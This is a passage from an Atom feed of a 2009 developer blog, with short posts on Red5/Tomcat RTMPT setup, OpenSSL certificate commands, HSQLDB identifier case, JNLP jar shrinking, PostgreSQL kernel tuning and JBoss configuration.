/&gt;&lt;br /&gt;&lt;li&gt;Inside your WEB/lib you should have a Red5 jar (well, this is not my case as I use Maven for build, but Maven users will understand what I mean, right?) and you need to open it up and edit the red5.properties file it contains:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family:'courier new';"&gt;&lt;br /&gt;http.port = 8080&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Open your Tomcat 6 folder and edit the file conf/server.xml adding, if needed, an HTTP/1.1 connector for the port you want to use for RTMPT (the default port is 80, but you can set it accordingly to your needs):&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family:'courier new';"&gt;&lt;br /&gt;&amp;lt;!-- RTMPT connector redirecting to your HTTP port --&amp;gt;&lt;br /&gt;       &amp;lt;Connector port="8088" protocol="HTTP/1.1"&lt;br /&gt;              maxThreads="150" connectionTimeout="20000"&lt;br /&gt;              redirectPort="8080" /&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The last and very bothering part is you need to have your streaming server war binded to the root context, so you can simply rename it to &lt;b&gt;ROOT.war&lt;/b&gt;&lt;/li&gt;&lt;/ol&gt;--- &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5491022289616680446?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5491022289616680446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5491022289616680446&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5491022289616680446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5491022289616680446'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/09/rtmpt-on-tomat-red5-as-war.html' title='RTMPT on Tomat + Red5 as a war'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-5706375170541438159</id><published>2009-07-24T12:31:00.000+01:00</published><updated>2009-07-24T12:32:01.835+01:00</updated><title type='text'>OpenSSL CA-Infrastructure</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Generate your own private key and make sure none will ever get access to your private key:&lt;br/&gt;&lt;code&gt;openssl genrsa -des3 -out private.key 2048&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;If you need your public key outside of a certificate issue this command:&lt;br/&gt;&lt;code&gt;openssl rsa -in private.key -pubout -out public.key&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;To generate a certificate request for your key:&lt;br/&gt;&lt;code&gt;openssl req -new -key private.key -out certificate.csr&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;Now you should send your certificate request ONLY to the certification authority; someone, on the other side will view your request:&lt;br/&gt;&lt;code&gt;openssl req -text -noout -in certificate.csr&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;and then will decide to sign your request sending a valid certificate &lt;br/&gt;&lt;code&gt;openssl x509 -days 365 -in certificate.csr -out certificate.crt -sha1 -CA ca.crt -CAkey ca.key -req -extfile user.ext&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-5706375170541438159?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/5706375170541438159/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=5706375170541438159&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5706375170541438159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/5706375170541438159'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/07/openssl-ca-infrastructure.html' title='OpenSSL CA-Infrastructure'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-3215776450597903564</id><published>2009-03-20T17:58:00.001Z</published><updated>2009-03-20T17:58:19.611Z</updated><title type='text'>HSQLDB No such table Exception</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I've encountered a strange problem using HSQLDB which became totally weird when using that database in conjunction with Hibernate formulas. Here is the problem and the specific issue.&lt;br/&gt;&lt;br/&gt;I've a table named &lt;font face='monospace'&gt;group&lt;/font&gt; (lower case) and a table named &lt;font face='monospace'&gt;property&lt;/font&gt;  (lower case) in a schema named &lt;font face='monospace'&gt;auth&lt;/font&gt; (lower case too, for naming convention) and I want to create them both on HSQLDB. I know &lt;b&gt;group&lt;/b&gt; is a reserved word in SQL so I've created my DDL statements accordingly:&lt;br/&gt;&lt;blockquote&gt;&lt;font face='monospace'&gt;    create schema auth authorization DBA;&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;&lt;font face='monospace'&gt;    create table auth."group" (&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        "id" bigint &lt;/font&gt;&lt;font face='monospace'&gt;generated by default as identity (start with 1)&lt;/font&gt;&lt;font face='monospace'&gt;,&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        "description" longvarchar,&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        primary key ("id")&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;    );&lt;/font&gt;&lt;br/&gt;&lt;br/&gt;&lt;font face='monospace'&gt;    create table auth."property" (&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        id bigint generated by default as identity (start with 1),&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        handler varchar(255),&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;        primary key (id)&lt;/font&gt;&lt;br/&gt;&lt;font face='monospace'&gt;    );&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;As you can see I've double quoted the structure element names in table group to avoid the reserved word problem (I could limit myself to the table name, but this doesn't make any difference) and I've used the same notation for the table property name too (not needed but this clarifies my example). Now I wish to query that database with a query like&lt;br/&gt;&lt;blockquote&gt;&lt;font face='monospace'&gt;select * from auth."group"&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;which correctly executes and returns the results, but a query like&lt;br/&gt;&lt;blockquote&gt;&lt;font face='monospace'&gt;select * from auth.property&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;fails with a &lt;b&gt;No such table exception&lt;/b&gt; !?!&lt;br/&gt;&lt;br/&gt;Well the problem is HSQLDB converts all identifiers to upper case unless you use the double quote notation!!!! The query then should be issued as&lt;br/&gt;&lt;blockquote&gt;&lt;font face='monospace'&gt;select * from auth."property"&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;If you query the database meta data you can see the problem in the auth schema name: it's real name is AUTH, all uppercase letters!&lt;br/&gt;&lt;br/&gt;The problem here is HSQLDB is case sensitive &lt;b&gt;but&lt;/b&gt; implicitly converts all your table names and column names to upper case! Yes the problem occur on column names too, in fact the following query fails with a No such column exception:&lt;br/&gt;&lt;blockquote&gt;&lt;font face='monospace'&gt;select "id" from auth."property"&lt;/font&gt;&lt;br/&gt;&lt;/blockquote&gt;Thats because the id column was implicitly renamed to ID... sigh!&lt;br/&gt;&lt;br/&gt;Ok, this is a problem, but it's still not a great problem, you just use double quotes consistently through all your project (I had no choice to use double quotes everywhere) and you can forget the problem just treating HSQLDB as a case sensitive database.&lt;br/&gt;&lt;br/&gt;If you wish to use Hibernate to query such a database you have to use the special single quote character ` (sorry, I haven't found a better name for it) instead of double quotes inside your HBMs to let Hibernate substitute the ` char with the " char (to avoid XML issues).&lt;br/&gt;&lt;br/&gt;Well, still no unresolvable problem until now, but if you want to write an Hibernate formula property... &lt;b&gt;BANG&lt;/b&gt;! With an Hibernate formula property in fact you can write your own SQL statement which will be executed to populate that property, but you can't use nor double quotes nor the ` char to escape a column name there! Well the last statement is not completely true as you can use the ` tinstead of the double quotes, but in this case you can use only fields of the table your class is mapped onto... which makes formulas quite unuseful.&lt;br/&gt;&lt;br/&gt;I'm actually trying to help the Hibernate developers to solve the problem... I'll update this post if I found a solution as Hibernate user or developer.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=d195e8e0-8901-4679-8707-f036af947ddd' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-3215776450597903564?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/3215776450597903564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=3215776450597903564&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3215776450597903564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3215776450597903564'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/03/hsqldb-no-such-table-exception.html' title='HSQLDB No such table Exception'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2869156403112194086</id><published>2009-03-04T20:41:00.001Z</published><updated>2009-03-04T20:41:06.768Z</updated><title type='text'>Reduce a JNLP application size</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I've found (with suggestions from my friend Matteo Croce) a simple and easy way to drastically reduce the size of Java client application:&lt;br/&gt;&lt;br/&gt;&lt;ul&gt;&lt;li&gt;pack all your classes and relative dependencies into a single jar using maven-shade-plugin (http://maven.apache.org/plugins/maven-shade-plugin/) or other similar ways&lt;br/&gt;&lt;/li&gt;&lt;li&gt;use Proguard (http://proguard.sourceforge.net/) to include into your uber-jar only those classes really used into your application (OPTIONAL)&lt;/li&gt;&lt;li&gt;Use standard Java 5 additional compression method Pack200 (http://java.sun.com/j2se/1.5.0/docs/guide/deployment/deployment-guide/pack200.html)&lt;/li&gt;&lt;/ul&gt;You can reduce an uber jar of 10 MB to 0,5 MB without many problems !!!&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=6bbf91e8-cecd-46da-b7df-4bf222510010' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-2869156403112194086?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/2869156403112194086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=2869156403112194086&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2869156403112194086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/2869156403112194086'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/03/reduce-jnlp-application-size.html' title='Reduce a JNLP application size'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-3922549638347954295</id><published>2009-02-11T20:05:00.002Z</published><updated>2009-02-11T20:11:57.787Z</updated><title type='text'>Tuning PostgreSQL on Linux</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;I've found an interisting documentation page which applies to our storage production environment: it's about &lt;a href="http://www.postgresql.org/docs/current/static/kernel-resources.html"&gt;kernel resources&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In brief, on a Linux box we can face three problems:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;System V IPC Parameters&lt;/b&gt;&lt;br /&gt;&lt;p&gt;        The default maximum segment size is 32 MB, which is only adequate         for small &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; installations. However, the remaining defaults are quite generously sized, and usually do not require changes. The maximum shared memory segment size can be changed via the &lt;tt class="COMMAND"&gt;sysctl&lt;/tt&gt; interface. For example, to allow 128 MB, and explicitly set the maximum total shared memory size to 2097152 pages (the default):&lt;/p&gt;&lt;pre class="SCREEN"&gt;&amp;lt;samp class="PROMPT"&amp;gt;&lt;samp class="PROMPT"&gt;$&lt;/samp&gt; &lt;kbd class="USERINPUT"&gt;sysctl -w kernel.shmmax=134217728&lt;/kbd&gt;&lt;br /&gt;&lt;samp class="PROMPT"&gt;$&lt;/samp&gt; &lt;kbd class="USERINPUT"&gt;sysctl -w kernel.shmall=2097152&lt;/kbd&gt;&lt;/pre&gt;&lt;p&gt;         In addition these settings can be saved between reboots in          &lt;tt class="FILENAME"&gt;/etc/sysctl.conf&lt;/tt&gt;.        &lt;/p&gt;&lt;p&gt;        Older distributions might not have the &lt;tt class="COMMAND"&gt;sysctl&lt;/tt&gt; program,         but equivalent changes can be made by manipulating the          &lt;tt class="FILENAME"&gt;/proc&lt;/tt&gt; file system:&lt;/p&gt;&lt;pre class="SCREEN"&gt;&lt;samp class="PROMPT"&gt;$&lt;/samp&gt; &lt;kbd class="USERINPUT"&gt;echo 134217728 &amp;gt;/proc/sys/kernel/shmmax&lt;/kbd&gt;&lt;br /&gt;&lt;samp class="PROMPT"&gt;$&lt;/samp&gt; &lt;kbd class="USERINPUT"&gt;echo 2097152 &amp;gt;/proc/sys/kernel/shmall&lt;/kbd&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Memory Overcommit&lt;/b&gt;&lt;br /&gt;&lt;p&gt;    In Linux 2.4 and later, the default virtual memory behavior is not     optimal for &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt;. Because of the     way that the kernel implements memory overcommit, the kernel might     terminate the &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; server (the master server process) if the memory demands of another process cause the system to run out of virtual memory. &lt;/p&gt;&lt;p&gt; If this happens, you will see a kernel message that looks like this (consult your system documentation and configuration on where to look for such a message):&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;Out of Memory: Killed process 12345 (postgres). &lt;/pre&gt;&lt;p&gt;     This indicates that the &lt;tt class="FILENAME"&gt;postgres&lt;/tt&gt; process has been terminated due to memory pressure. Although existing database connections will continue to function normally, no new connections will be accepted. To recover, &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; will need to be restarted.    &lt;/p&gt;&lt;p&gt;    One way to avoid this problem is to run     &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; on a machine where you can be sure that other processes will not run the machine out of memory. If memory is tight, increasing the swap space of the operating system can help avoiding the problem, because the out-of-memory (OOM) killer is invoked whenever physical memory and swap space are exhausted. &lt;/p&gt;&lt;p&gt;    On Linux 2.6 and later, an additional measure is to modify the     kernel's behavior so that it will not &lt;span class="QUOTE"&gt;"overcommit"&lt;/span&gt; memory.     Although this setting will not prevent the &lt;a target="_top" href="http://lwn.net/Articles/104179/"&gt;OOM killer&lt;/a&gt; from being invoked altogether, it will lower the chances significantly and will therefore lead to more robust system behavior. This is done by selecting strict overcommit mode via &lt;tt class="COMMAND"&gt;sysctl&lt;/tt&gt;:&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;sysctl -w vm.overcommit_memory=2&lt;/pre&gt;&lt;p&gt;     or placing an equivalent entry in &lt;tt class="FILENAME"&gt;/etc/sysctl.conf&lt;/tt&gt;.     You might also wish to modify the related setting      &lt;tt class="LITERAL"&gt;vm.overcommit_ratio&lt;/tt&gt;.  For details see the kernel documentation     file &lt;tt class="FILENAME"&gt;Documentation/vm/overcommit-accounting&lt;/tt&gt;.    &lt;/p&gt;&lt;p&gt;    Some vendors' Linux 2.4 kernels are reported to have early versions     of the 2.6 overcommit &lt;tt class="COMMAND"&gt;sysctl&lt;/tt&gt; parameter.  However, setting     &lt;tt class="LITERAL"&gt;vm.overcommit_memory&lt;/tt&gt; to 2 on a kernel that does not have the relevant code will make things worse not better. It is recommended that you inspect the actual kernel source code (see the function &lt;code class="FUNCTION"&gt;vm_enough_memory&lt;/code&gt; in the file &lt;tt class="FILENAME"&gt;mm/mmap.c&lt;/tt&gt;)     to verify what is supported in your copy before you try this in a 2.4     installation.  The presence of the &lt;tt class="FILENAME"&gt;overcommit-accounting&lt;/tt&gt;     documentation file should &lt;span class="emphasis"&gt;&lt;i class="EMPHASIS"&gt;not&lt;/i&gt;&lt;/span&gt; be taken as evidence that the     feature is there.  If in any doubt, consult a kernel expert or your     kernel vendor.    &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Resource Limits&lt;/span&gt;&lt;br /&gt;&lt;p&gt; Unix-like operating systems enforce various kinds of resource limits that might interfere with the operation of your &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; server. Of particular importance are limits on the number of processes per user, the number of open files per process, and the amount of memory available to each process. Each of these have a &lt;span class="QUOTE"&gt;"hard"&lt;/span&gt; and a     &lt;span class="QUOTE"&gt;"soft"&lt;/span&gt; limit. The soft limit is what actually counts but it can be changed by the user up to the hard limit. The hard limit can only be changed by the root user. The system call &lt;code class="FUNCTION"&gt;setrlimit&lt;/code&gt; is responsible for setting these     parameters. The shell's built-in command &lt;tt class="COMMAND"&gt;ulimit&lt;/tt&gt;     (Bourne shells) or &lt;tt class="COMMAND"&gt;limit&lt;/tt&gt; (&lt;span class="APPLICATION"&gt;csh&lt;/span&gt;) is     used to control the resource limits from the command line. On     BSD-derived systems the file &lt;tt class="FILENAME"&gt;/etc/login.conf&lt;/tt&gt; controls the various resource limits set during login. See the operating system documentation for details. The relevant parameters are &lt;tt class="VARNAME"&gt;maxproc&lt;/tt&gt;,     &lt;tt class="VARNAME"&gt;openfiles&lt;/tt&gt;, and &lt;tt class="VARNAME"&gt;datasize&lt;/tt&gt;. For     example:&lt;/p&gt;&lt;pre class="PROGRAMLISTING"&gt;default:\&lt;br /&gt;...&lt;br /&gt;       :datasize-cur=256M:\&lt;br /&gt;       :maxproc-cur=256:\&lt;br /&gt;       :openfiles-cur=256:\&lt;br /&gt;...&lt;/pre&gt;&lt;p&gt;     (&lt;tt class="LITERAL"&gt;-cur&lt;/tt&gt; is the soft limit.  Append     &lt;tt class="LITERAL"&gt;-max&lt;/tt&gt; to set the hard limit.)    &lt;/p&gt;&lt;p&gt;    Kernels can also have system-wide limits on some resources.&lt;br /&gt;&lt;br /&gt;On &lt;span class="PRODUCTNAME"&gt;Linux&lt;/span&gt;       &lt;tt class="FILENAME"&gt;/proc/sys/fs/file-max&lt;/tt&gt; determines the maximum number of open files that the kernel will support. It can be changed by writing a different number into the file or by adding an assignment in &lt;tt class="FILENAME"&gt;/etc/sysctl.conf&lt;/tt&gt;.       The maximum limit of files per process is fixed at the time the       kernel is compiled; see       &lt;tt class="FILENAME"&gt;/usr/src/linux/Documentation/proc.txt&lt;/tt&gt; for       more information.&lt;br /&gt;The &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt; server uses one process per connection so you should provide for at least as many processes as allowed connections, in addition to what you need for the rest of your system. This is usually not a problem but if you run several servers on one machine things might get tight.&lt;br /&gt;&lt;br /&gt;The factory default limit on open files is often set to     &lt;span class="QUOTE"&gt;"socially friendly"&lt;/span&gt; values that allow many users to coexist on a machine without using an inappropriate fraction of the system resources. If you run many servers on a machine this is perhaps what you want, but on dedicated servers you might want to raise this limit.&lt;br /&gt;On the other side of the coin, some systems allow individual processes to open large numbers of files; if more than a few processes do so then the system-wide limit can easily be exceeded. If you find this happening, and you do not want to alter the system-wide limit, you can set &lt;span class="PRODUCTNAME"&gt;PostgreSQL&lt;/span&gt;'s &lt;a href="http://www.postgresql.org/docs/current/static/runtime-config-resource.html#GUC-MAX-FILES-PER-PROCESS"&gt;max_files_per_process&lt;/a&gt; configuration parameter to     limit the consumption of open files.    &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;    &lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-3922549638347954295?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/3922549638347954295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=3922549638347954295&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3922549638347954295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3922549638347954295'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/02/tuning-postgresql-on-linux.html' title='Tuning PostgreSQL on Linux'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-4927910700658731376</id><published>2009-02-03T10:53:00.001Z</published><updated>2009-10-15T18:38:56.966+01:00</updated><title type='text'>JBoss and PermGen OutOfMemoryError</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;The "PermGen" error happens, when the Java virtual machine runs out of memory in the permanent generation. Recall that Java has a &lt;a href="http://en.wikipedia.org/wiki/Garbage_collection_%28computer_science%29#Generational_GC_.28aka_Ephemeral_GC.29" target="_blank"&gt;&lt;i&gt;generational&lt;/i&gt; garbage collector&lt;/a&gt;, with four generations: eden, young, old and permanent.&lt;br /&gt;&lt;br /&gt;In the eden generation, objects are very short lived and garbage collection is swift and often.&lt;br /&gt;&lt;br /&gt;The young generation consists of objects that survived the eden generation (or was pushed down to young because the eden generation was full at the time of allocation), garbage collection in the young generation is less frequent but still happens at quite regular intervals (provided that your application actually does something and allocates objects every now and then).&lt;br /&gt;&lt;br /&gt;The old generation, well, you figured it. It contains objects that survived the young generation, or have been pushed down, and garbage collection is even less infrequent but can still happen.&lt;br /&gt;&lt;br /&gt;And finally, the permanent generation. This is for objects that the virtual machine has decided to endorse with eternal life - which is precicely the core of the problem. Objects in the permanent generation are never garbage collected; that is, under &lt;i&gt;normal&lt;/i&gt; circumstances when the jvm is started with &lt;i&gt;normal&lt;/i&gt; command line parameters.&lt;br /&gt;&lt;br /&gt;So what happens when you redeploy your web application is, that your WAR file is unpacked and its class files loaded into the jvm. And here's the thing: almost always ends up in the permanent generation... Because, seriously, who wants to garbage collect their classes?!? Well, apparently application servers do, and here's how we make that happen for JBoss, but the same configuration is applicable to other application servers, adding the following parameters to the&lt;b&gt; &lt;span style="font-family:monospace;"&gt;bin/run.conf&lt;/span&gt;&lt;/b&gt; file at &lt;b&gt;&lt;span style="font-family:monospace;"&gt;JAVA_OPTS&lt;/span&gt;&lt;/b&gt; line:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;-XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -XX:MaxPermSize=128m&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Consider eventually tuning the &lt;span style="font-family:monospace;"&gt;&lt;b&gt;MaxPermSize=128m&lt;/b&gt;&lt;/span&gt; part to fit your needs...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-4927910700658731376?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/4927910700658731376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=4927910700658731376&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4927910700658731376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4927910700658731376'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/02/jboss-and-permgen-outofmemoryerror.html' title='JBoss and PermGen OutOfMemoryError'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6847596644099603104</id><published>2009-02-03T09:45:00.000Z</published><updated>2009-02-06T04:50:46.621Z</updated><title type='text'>JBoss and multiple environments</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Here at SmartLab we use four environments during the software life-cycle, each with it's own characteristics:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;the development environment is the one running on each development computer and allows each developer to write and test it's own code in a non-shared environment without worring about concurrency or conflicting changes;&lt;/li&gt;&lt;li&gt;the integration-test, also know as test, environment is the first opportunity for multiple developers and development teams to integrate the different parts into a single solution and this environment usually respect the architectural principles of the project but it can be limited by any factor;&lt;/li&gt;&lt;li&gt;the demo environment is the last developers-accessible environment and it fully respects all the architectural choices made for the system, in addition this environment should provide some sort of access from the outer world to allow for pre-release revisions;&lt;/li&gt;&lt;li&gt;the production environment is where the system is deployed for public access.&lt;/li&gt;&lt;/ul&gt;The preceding environments are listed in ascending order of importance, security needs and computational power; each one runs an application server which needs to be configured in a proper way to fit the environment specific needs.&lt;br/&gt;&lt;br/&gt;File logging is configured:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;development - at a trace level and without rotation or append&lt;/li&gt;&lt;li&gt;test - at a debug level without rotation but with append&lt;/li&gt;&lt;li&gt;demo - at an info level with rotation and append&lt;br/&gt;&lt;/li&gt;&lt;li&gt;production - at an info level with rotation, append and backup&lt;/li&gt;&lt;/ul&gt;Console logging is configured:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;development - at a debug level&lt;br/&gt;&lt;/li&gt;&lt;li&gt;test - at a warn level&lt;/li&gt;&lt;li&gt;demo - at a warn level&lt;/li&gt;&lt;li&gt;production - at an error level (used only to ensure startup ha been performed correctly)&lt;/li&gt;&lt;/ul&gt;Email loggin is configured:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;development and test - none&lt;/li&gt;&lt;li&gt;demo - error level messages are sent to developers&lt;/li&gt;&lt;li&gt;production - error level messages are sent to the project leader immediately, warnings are sent on a per day basis to developers&lt;/li&gt;&lt;/ul&gt;Administration console security is configured:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;development - no protection&lt;/li&gt;&lt;li&gt;test,demo and production - password protected&lt;/li&gt;&lt;li&gt;demo and production - ciphered protocol&lt;/li&gt;&lt;/ul&gt;File permissions are set to:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;development - no protection&lt;/li&gt;&lt;li&gt;test and demo - stiky bit and readwrite permissions on %devel for deplyment folders, logs and temporary dirs&lt;br/&gt;&lt;/li&gt;&lt;li&gt;production - stiky bit and readwrite permissions on %manager for deplyment folders,&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6847596644099603104?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6847596644099603104/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6847596644099603104&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' 